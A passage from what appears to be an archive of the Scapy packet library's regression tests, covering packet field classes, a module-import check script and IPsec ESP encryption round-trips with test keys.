assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 0xff) == '0xff') assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 0xff) == '0xff') True = XByteEnumField update tests initialization ~ field xbyteenumfield enum = ObservableDict({0: 'Foo', 1: 'Bar'}) f = XByteEnumField('test', 0, enum) fcb = XByteEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XByteEnumField.i2repr_one with update ~ field xbyteenumfield assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 2) == '0x2') assert(f.i2repr_one(None, 0xff) == '0xff') assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 2) == '0x2') assert(f.i2repr_one(None, 0xff) == '0xff') del enum[1] enum[2] = 'Baz' assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == '0x1') assert(f.i2repr_one(None, 2) == 'Baz') assert(f.i2repr_one(None, 0xff) == '0xff') assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == '0x1') assert(f.i2repr_one(None, 2) == 'Baz') assert(f.i2repr_one(None, 0xff) == '0xff') True ############ ############ + XShortEnumField tests = Building expect_exception handler ~ field xshortenumfield def expect_exception(e, c): try: eval(c) return False except e: return True = XShortEnumField tests initialization ~ field xshortenumfield f = XShortEnumField('test', 0, {0: 'Foo', 1: 'Bar'}) fcb = XShortEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XShortEnumField.i2repr_one ~ field xshortenumfield assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 0xff) == '0xff') assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 0xff) == '0xff') True = XShortEnumField update tests initialization ~ field xshortenumfield enum = ObservableDict({0: 'Foo', 1: 'Bar'}) f = XShortEnumField('test', 0, enum) fcb = XShortEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XShortEnumField.i2repr_one with update ~ field xshortenumfield assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 2) == '0x2') assert(f.i2repr_one(None, 0xff) == '0xff') assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == 'Bar') assert(f.i2repr_one(None, 2) == '0x2') assert(f.i2repr_one(None, 0xff) == '0xff') del enum[1] enum[2] = 'Baz' assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == '0x1') assert(f.i2repr_one(None, 2) == 'Baz') assert(f.i2repr_one(None, 0xff) == '0xff') assert(f.i2repr_one(None, 0) == 'Foo') assert(f.i2repr_one(None, 1) == '0x1') assert(f.i2repr_one(None, 2) == 'Baz') assert(f.i2repr_one(None, 0xff) == '0xff') True ############ ############ + DNSStrField tests = Raise exception - test data dnsf = DNSStrField("test", "") assert(dnsf.getfield(None, b"\x01x\x00") == (b"", b"x.")) try: dnsf.getfield(None, b"\xc0\xff") assert(False) except (Scapy_Exception, IndexError): pass + YesNoByteField = default usage yn_bf = YesNoByteField('test', 0x00) assert(yn_bf.i2repr(None, 0x00) == 'no') assert(yn_bf.i2repr(None, 0x01) == 'yes') assert(yn_bf.i2repr(None, 0x02) == 'yes') assert(yn_bf.i2repr(None, 0xff) == 'yes') = inverted yes - no (scalar config) yn_bf = YesNoByteField('test', 0x00, config={'yes': 0x00, 'no': 0x01}) assert(yn_bf.i2repr(None, 0x00) == 'yes') assert(yn_bf.i2repr(None, 0x01) == 'no') assert(yn_bf.i2repr(None, 0x02) == 2) assert(yn_bf.i2repr(None, 0xff) == 255) = inverted yes - no (range config) yn_bf = YesNoByteField('test', 0x00, config={'yes': 0x00, 'no': (0x01, 0xff)}) assert(yn_bf.i2repr(None, 0x00) == 'yes') assert(yn_bf.i2repr(None, 0x01) == 'no') assert(yn_bf.i2repr(None, 0x02) == 'no') assert(yn_bf.i2repr(None, 0xff) == 'no') = yes - no (using sets) yn_bf = YesNoByteField('test', 0x00, config={'yes': [0x00, 0x02], 'no': [0x01, 0x04, 0xff]}) assert(yn_bf.i2repr(None, 0x00) == 'yes') assert(yn_bf.i2repr(None, 0x01) == 'no') assert(yn_bf.i2repr(None, 0x02) == 'yes') assert(yn_bf.i2repr(None, 0x03) == 3) assert(yn_bf.i2repr(None, 0x04) == 'no') assert(yn_bf.i2repr(None, 0x05) == 5) assert(yn_bf.i2repr(None, 0xff) == 'no') = yes, no and invalid yn_bf = YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': 0x01, 'invalid': (0x02, 0xff)}) assert(yn_bf.i2repr(None, 0x00) == 'no') assert(yn_bf.i2repr(None, 0x01) == 'yes') assert(yn_bf.i2repr(None, 0x02) == 'invalid') assert(yn_bf.i2repr(None, 0xff) == 'invalid') = invalid scalar spec try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': 256}) assert(False) except FieldValueRangeException: pass = invalid range spec - invalid length try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x00, 0x02, 0x02)}) assert(False) except FieldAttributeException: pass = invalid range spec - invalid value try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x100, 0x01)}) assert(False) except FieldValueRangeException: pass try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x00, 0x100)}) assert(False) except FieldValueRangeException: pass = invalid set spec - invalid value try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': [0x01, 0x101]}) assert(False) except FieldValueRangeException: pass = FlasgField - Python incompatible name assert Dot11().FCfield.to_DS is False ######## ######## + MultipleTypeField ~ mtf = Test initialization order class DebugPacket(Packet): fields_desc = [ ByteEnumField("atyp", 0x1, {0x1: "IPv4", 0x3: "DNS", 0x4: "IPv6"}), MultipleTypeField( [ # IPv4 (IPField("addr", "0.0.0.0"), lambda pkt: pkt.atyp == 0x1), # DNS (DNSStrField("addr", ""), lambda pkt: pkt.atyp == 0x3), # IPv6 (IP6Field("addr", "::"), lambda pkt: pkt.atyp == 0x4), ], StrField("addr", "") ), ] = Default order a = DebugPacket(atyp=0x3, addr="scapy.net") a = DebugPacket(raw(a)) assert a.addr == b"scapy.net." = Reversed order a = DebugPacket(addr="scapy.net", atyp=0x3) a = DebugPacket(raw(a)) assert a.addr == b"scapy.net." = Test default values auto-update class SweetPacket(Packet): name = 'Sweet Celestian Packet' fields_desc = [ IntField('switch', 0), MultipleTypeField([ (XShortField('subfield', 0xDEAD), lambda pkt: pkt.switch == 1), (XIntField('subfield', 0xBEEFBEEF), lambda pkt: pkt.switch == 2)], XByteField('subfield', 0x88) ) ] o = SweetPacket() assert o.subfield == 0x88 o = SweetPacket(switch=1) assert o.subfield == 0xDEAD o = SweetPacket(switch=2) assert o.subfield == 0xBEEFBEEF o = SweetPacket() assert o.subfield == 0x88 o.switch = 1 assert o.subfield == 0xDEAD o.switch = 2 assert o.subfield == 0xBEEFBEEF ######## ######## + FlagsField = Test Flags Field Iterator class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] = Test upper nibble a = FlagsTest(b"\xf0") flags = list(a.flags) assert len(flags) == 4 assert "f4" in flags assert "f5" in flags assert "f6" in flags assert "f7" in flags = Test lower nibble a = FlagsTest(b"\x0f") flags = list(a.flags) assert len(flags) == 4 assert "f3" in flags assert "f2" in flags assert "f1" in flags assert "f0" in flags = Test single flag 1 a = FlagsTest(b"\x01") flags = list(a.flags) assert len(flags) == 1 assert "f0" in flags = Test single flag 2 a = FlagsTest(b"\x02") flags = list(a.flags) assert len(flags) == 1 assert "f1" in flags = Test single flag 0x80 a = FlagsTest(b"\x80") flags = list(a.flags) assert len(flags) == 1 assert "f7" in flags = Test pattern 0x55 a = FlagsTest(b"\x55") flags = list(a.flags) assert len(flags) == 4 assert "f6" in flags assert "f2" in flags assert "f4" in flags assert "f0" in flags = Test pattern 0xAA a = FlagsTest(b"\xAA") flags = list(a.flags) assert len(flags) == 4 assert "f7" in flags assert "f3" in flags assert "f5" in flags assert "f1" in flags = Test pattern 0x00 a = FlagsTest(b"\x00") flags = list(a.flags) assert len(flags) == 0 = Test pattern 0xFF a = FlagsTest(b"\xFF") flags = list(a.flags) assert len(flags) == 8 assert "f7" in flags assert "f3" in flags assert "f5" in flags assert "f1" in flags assert "f6" in flags assert "f2" in flags assert "f4" in flags assert "f0" in flags = FlagsField with str class TCPTest(Packet): fields_desc = [ BitField("reserved", 0, 7), FlagsField("flags", 0x2, 9, "FSRPAUECN") ] a = TCPTest(flags=3) assert a.flags.F assert a.flags.S assert a.sprintf("%flags%") == "FS" = FlagsField with dict class FlagsTest2(Packet): fields_desc = [ FlagsField("flags", 0x2, 16, { 0: "A", # 0 bit 7: "B" # 7 bit }) ] a = FlagsTest2(flags=255) a.sprintf("%flags%") assert a.flags.A assert a.flags.B assert a.sprintf("%flags%") == "A+bit_1+bit_2+bit_3+bit_4+bit_5+bit_6+B" ######## ######## + ScalingField = ScalingField Test default behaviour class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0) ] x = DebugPacket() assert len(x) == 1 assert x.data == 0 x.data = 1 assert x.data == 1 = ScalingField Test string assignment class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1) ] x = DebugPacket() x.data = '\x01' assert x.data == 0.1 x.data = 2.0 assert x.data == 2.0 assert bytes(x) == b"\x14" x.data = b'\xff' assert x.data == 25.5 x.data = '\x7f' assert x.data == 12.7 = ScalingField Test scaling class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1) ] x = DebugPacket() x.data = b'\x01' assert x.data == 0.1 x.data = 2.0 assert x.data == 2.0 assert bytes(x) == b"\x14" x.data = b'\xff' assert x.data == 25.5 = ScalingField Test scaling signed class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, fmt="b") ] x = DebugPacket() x.data = b'\x01' assert x.data == 0.1 x.data = 12.7 assert x.data == 12.7 assert bytes(x) == b"\x7f" x.data = b'\x80' assert x.data == -12.8 x.data = -0.1 assert x.data == -0.1 assert bytes(x) == b"\xff" = ScalingField Test scaling signed offset class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-1, fmt="b") ] x = DebugPacket() x.data = b'\x01' assert x.data == -0.9 x.data = 11.7 assert x.data == 11.7 assert bytes(x) == b"\x7f" x.data = b'\x80' assert x.data == -13.8 x.data = -1.1 assert x.data == -1.1 assert bytes(x) == b"\xff" = ScalingField Test scaling offset class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-1) ] x = DebugPacket() x.data = b'\x01' assert x.data == -0.9 x.data = 11.7 assert x.data == 11.7 assert bytes(x) == b"\x7f" x.data = b'\x80' assert x.data == 11.8 x.data = 24.5 assert x.data == 24.5 assert bytes(x) == b"\xff" = ScalingField Test unit class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, unit="V") ] x = DebugPacket() x.data = b'\x01' assert x.data == 1 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '1 V' = ScalingField Test unit and ndigits class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.123456, unit="V", ndigits=1) ] x = DebugPacket() x.data = b'\x01' assert x.data == 0.1 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.1 V' = ScalingField Test unit and ndigits 2 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.123456, unit="V", ndigits=3) ] x = DebugPacket() x.data = b'\x01' print(x.__repr__()) assert x.data == 0.123 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.123 V' = ScalingField Test unit and ndigits 3 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.123456, unit="V", ndigits=5) ] x = DebugPacket() x.data = b'\x01' print(x.__repr__()) assert x.data == 0.12346 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.12346 V' = ScalingField randval byte class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5) ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -5.0 assert r.max == 20.5 = ScalingField randval byte 2 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=-0.1, offset=-5) ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -30.5 assert r.max == -5 = ScalingField signed randval byte class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=-0.1, offset=-5, fmt="b") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -17.7 assert r.max == 7.8 = ScalingField signed randval byte 2 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="b") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -17.8 assert r.max == 7.7 = ScalingField signed randval short class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="h") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -3281.8 assert r.max == 3271.7 = ScalingField signed randval int class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="i") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -214748369.8 assert r.max == 214748359.7 = ScalingField signed randval long class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="q") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -922337203685477585.8 assert r.max == 922337203685477575.7 = ScalingField signed randval long y = fuzz(x) assert bytes(y) != bytes(y) ############ ############ + BitExtendedField = BitExtendedField: simple test class DebugPacket(Packet): fields_desc = [ BitExtendedField("val", None, extension_bit=0) ] a = DebugPacket(val=1234) assert(a.val == 1234) = BitExtendedField i2m: corner values * 7 bits of data = 0 import codecs for i in range(8): m = BitExtendedField("foo", None, extension_bit=i) r = m.i2m(None, 0) r = int(codecs.encode(r, 'hex'), 16) assert(r == 0) * 7 bits of data = 1 for i in range(8): m = BitExtendedField("foo", None, extension_bit=i) r = m.i2m(None, 0b1111111) r = int(codecs.encode(r, 'hex'), 16) assert(r == 0xff - 2**i) = BitExtendedField i2m: field expansion * If there is 8 bits of data, we need to add a byte m = BitExtendedField("foo", None, extension_bit=0) r = m.i2m(None, 0b10000000) r = int(codecs.encode(r, 'hex'), 16) assert(r == 0x0300) = BitExtendedField i2m: test all FX bit positions * Data is 0b10000001 (129) and all str values are precomputed data_129 = { "extended": 129, "int_with_fx": [770, 769, 1281, 2305, 4353, 8449, 16641, 33025], "str_with_fx" : [] } for i in range(8): m = BitExtendedField("foo", None, extension_bit=i) r = m.i2m(None, data_129["extended"]) data_129["str_with_fx"].append(r) r = int(codecs.encode(r, 'hex'), 16) assert(r == data_129["int_with_fx"][i]) = BitExtendedField m2i: test all FX bit positions * Data is 0b10000001 (129) and all str values are precomputed for i in range(8): m = BitExtendedField("foo", None, extension_bit=i) r = m.m2i(None, data_129["str_with_fx"][i]) assert(r == data_129["extended"]) = BitExtendedField m2i: stop at FX zero * 1 byte of zeroes (FX stop) then 1 byte of ones : ignore 2nd byte for i in range(8): m = BitExtendedField("foo", None, extension_bit=i) r = m.m2i(None, b'\x00\xff') assert(r == 0) = BitExtendedField m2i: multiple bytes * 0b00000011 0b11111110 --> 0xff data_254 = { "extended": 0xff, "str_with_fx" : [b'\x03\xfe', b'\x03\xfd', b'\x05\xfb', b'\x09\xf7', b'\x11\xef', b'\x21\xdf', b'\x41\xbf', b'\x81\x7f'] } for i in range(len(data_254['str_with_fx'])): m = BitExtendedField("foo", None, extension_bit=i) r = m.m2i(None, data_254["str_with_fx"][i]) assert(r == data_254['extended']) = BitExtendedField m2i: invalid field with no stopping bit * 1 byte of one (no FX stop) shall return an error for i in range(8): m = BitExtendedField("foo", None, extension_bit=i) r = m.m2i(None, b'\xff') assert(r == None) = LSBExtendedField * Test i2m and m2i data_129 = { "extended": 129, "int_with_fx": 770, "str_with_fx" : None } m = LSBExtendedField("foo", None) r = m.i2m(None, data_129["extended"]) data_129["str_with_fx"] = r r = int(codecs.encode(r, 'hex'), 16) assert(r == data_129["int_with_fx"]) m = LSBExtendedField("foo", None) r = m.m2i(None, data_129["str_with_fx"]) assert(r == data_129["extended"]) = MSBExtendedField * Test i2m and m2i data_129 = { "extended": 129, "int_with_fx": 33025, "str_with_fx" : None } m = MSBExtendedField("foo", None) r = m.i2m(None, data_129["extended"]) data_129["str_with_fx"] = r r = int(codecs.encode(r, 'hex'), 16) assert(r == data_129["int_with_fx"]) m = MSBExtendedField("foo", None) r = m.m2i(None, data_129["str_with_fx"]) assert(r == data_129["extended"]) ############ ############ + Deprecated fields in Packet ~ deprecated = Field Deprecation test class TestPacket(Packet): fields_desc = [ ByteField("a", 0), LEShortField("b", 15), ] deprecated_fields = { "dpr": ("a", "1.0"), "B": ("b", "1.0"), } try: pkt = TestPacket(a=2, B=3) assert pkt.B == 3 assert pkt.b == 3 assert pkt.a == 2 import warnings with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") assert pkt.dpr == 2 assert len(w) == 1 assert issubclass(w[-1].category, DeprecationWarning) except DeprecationWarning: # -Werror is used pass ############ ############ + FCSField = FCSField: basic test class TestPacket(Packet): fields_desc = [ ByteField("a", 0), LEShortField("b", 15), LEIntField("c", 7), FCSField("fcs", None), IntField("bottom", 0) ] bind_layers(TestPacket, Ether) pkt = TestPacket(a=12, fcs=0xbeef, bottom=123)/Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="127.0.0.1", dst="127.0.0.1") assert raw(pkt) == b'\x0c\x0f\x00\x07\x00\x00\x00\x00\x00\x00{\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01\xbe\xef' # Test that it is consistent assert raw(pkt) == b'\x0c\x0f\x00\x07\x00\x00\x00\x00\x00\x00{\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01\xbe\xef' pkt = TestPacket(raw(pkt)) assert pkt.fcs == 0xbeef ############ ############ + PacketField = PacketField: randval() class DebugPacket(Packet): fields_desc = [ ShortField('short', 0), ByteField('byte', 0), LongField('long', 0) ] p = PacketField('packet', b'', DebugPacket).randval() assert isinstance(p.short, RandShort) assert isinstance(p.byte, RandByte) assert isinstance(p.long, RandLong) = PacketField: randval(), PacketField in PacketField class DebugPacket(Packet): fields_desc = [ ShortField('short1', 0), ByteField('byte', 0), LongField('long', 0) ] class DummyPacket(Packet): fields_desc = [ PacketField('packet', b'', DebugPacket), ShortField('short2', 0) ] p = PacketField('packet', b'', DummyPacket).randval() assert isinstance(p.packet.short1, RandShort) assert isinstance(p.packet.byte, RandByte) assert isinstance(p.packet.long, RandLong) assert isinstance(p.short2, RandShort) scapy-2.4.4/test/import_tester000066400000000000000000000002621372370053500164470ustar00rootroot00000000000000#! /bin/bash cd "$(dirname $0)/.." find scapy -name '*.py' | sed -e 's#/#.#g' -e 's/\(\.__init__\)\?\.py$//' | while read a; do echo "######### $a"; python -c "import $a"; done scapy-2.4.4/test/ipsec.uts000066400000000000000000003316341372370053500154760ustar00rootroot00000000000000############################## % IPsec layer regression tests ############################## ~ crypto ############################################################################### + IPv4 / ESP - Transport - Encryption Algorithms ####################################### = IPv4 / ESP - Transport - NULL - NULL ~ -crypto import socket p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key=b'8bytekey', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(des)' '0x38627974656b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x0f\x6d\x2f\x3d\x1e\xc1\x0b\xc2\xb6\x8f\xfd\x67\x39\xc0\x96\x2c' b'\x17\x79\x88\xf6\xbc\x4d\xf7\x45\xd8\x36\x63\x86\xcd\x08\x7c\x08' b'\x2b\xf8\xa2\x91\x18\x21\x88\xd9\x26\x00\xc5\x21\x24\xbf\x8f\xf5' b'\x6c\x47\xb0\x3a\x8e\xdb\x75\x21\xd9\x33\x85\x5a\x15\xc6\x31\x00' b'\x1c\xef\x3e\x12\xce\x70\xec\x8f\x48\xc7\x81\x9b\x66\xcb\xf5\x39' b'\x91\xb3\x8e\x72\xfb\x7f\x64\x65\x6c\xf4\xa9\xf2\x5e\x63\x2f\x60', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - 3DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(des3_ede)' '0x7468726565646966666572656e743862797465736b657973' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x36\x5c\x9b\x41\x37\xc8\x59\x1e\x39\x63\xe8\x6b\xf7\x0d\x97\x54' b'\x13\x84\xf6\x81\x66\x19\xe7\xcb\x75\x94\xf1\x0b\x8e\xa3\xf1\xa0' b'\x3e\x88\x51\xc4\x50\xd0\xa9\x1f\x16\x25\xc6\xbd\xe9\x0b\xdc\xae' b'\xf8\x13\x00\xa3\x8c\x53\xee\x1c\x96\xc0\xfe\x99\x70\xab\x94\x77' b'\xd7\xc4\xe8\xfd\x9f\x96\x28\xb8\x95\x20\x86\x7b\x19\xbc\x8f\xf5' b'\x96\xb0\x7e\xcc\x04\x83\xae\x4d\xa3\xba\x1d\x44\xf0\xba\x2e\xcd', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - AES-CBC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(aes)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x08\x2f\x94\xe6\x53\xd8\x8e\x13\x70\xe8\xff\x61\x52\x90\x27\x3c' b'\xf2\xb4\x1f\x75\xd2\xa0\xac\xae\x1c\xa8\x5e\x1c\x78\x21\x4c\x7f' b'\xc3\x30\x17\x6a\x8d\xf3\xb1\xa7\xd1\xa8\x42\x01\xd6\x8d\x2d\x7e' b'\x5d\x06\xdf\xaa\x05\x27\x42\xb1\x00\x12\xcf\xff\x64\x02\x5a\x40' b'\xcd\xca\x1b\x91\xba\xf8\xc8\x59\xe7\xbd\x4d\x19\xb4\x8d\x39\x25' b'\x6c\x73\xf1\x2d\xaa\xee\xe1\x0b\x71\xcd\xfc\x11\x1d\x56\xce\x60' b'\xed\xd2\x32\x87\xd4\x90\xc3\xf5\x31\x47\x97\x69\x83\x82\x6d\x38', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'rfc3686(ctr(aes))' '0x3136627974656b65792b34627974656e6f6e6365' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\xc4\xca\x09\x0f\x8b\xd3\x05\x3d\xac\x5a\x2f\x87\xca\x71\x10\x01' b'\xa7\x95\xc9\x07\xcc\xd4\x05\x58\x65\x23\x22\x4b\x63\x9b\x1f\xef' b'\x55\xb9\x1a\x91\x52\x76\x00\xf7\x94\x7b\x1d\xe1\x8e\x03\x2e\x85' b'\xad\xdd\x83\x22\x8a\xc3\x88\x6e\x85\xf5\x9b\xed\xa9\x6e\xb1\xc3' b'\x78\x00\x2f\xcd\x77\xe8\x3e\xec\x0e\x77\x94\xb2\x9b\x0f\x64\x5e' b'\x09\x83\x03\x7d\x83\x22\x39\xbb\x94\x66\xae\x9f\xbf\x01\xda\xfb', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - Blowfish - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='Blowfish', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(blowfish)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, 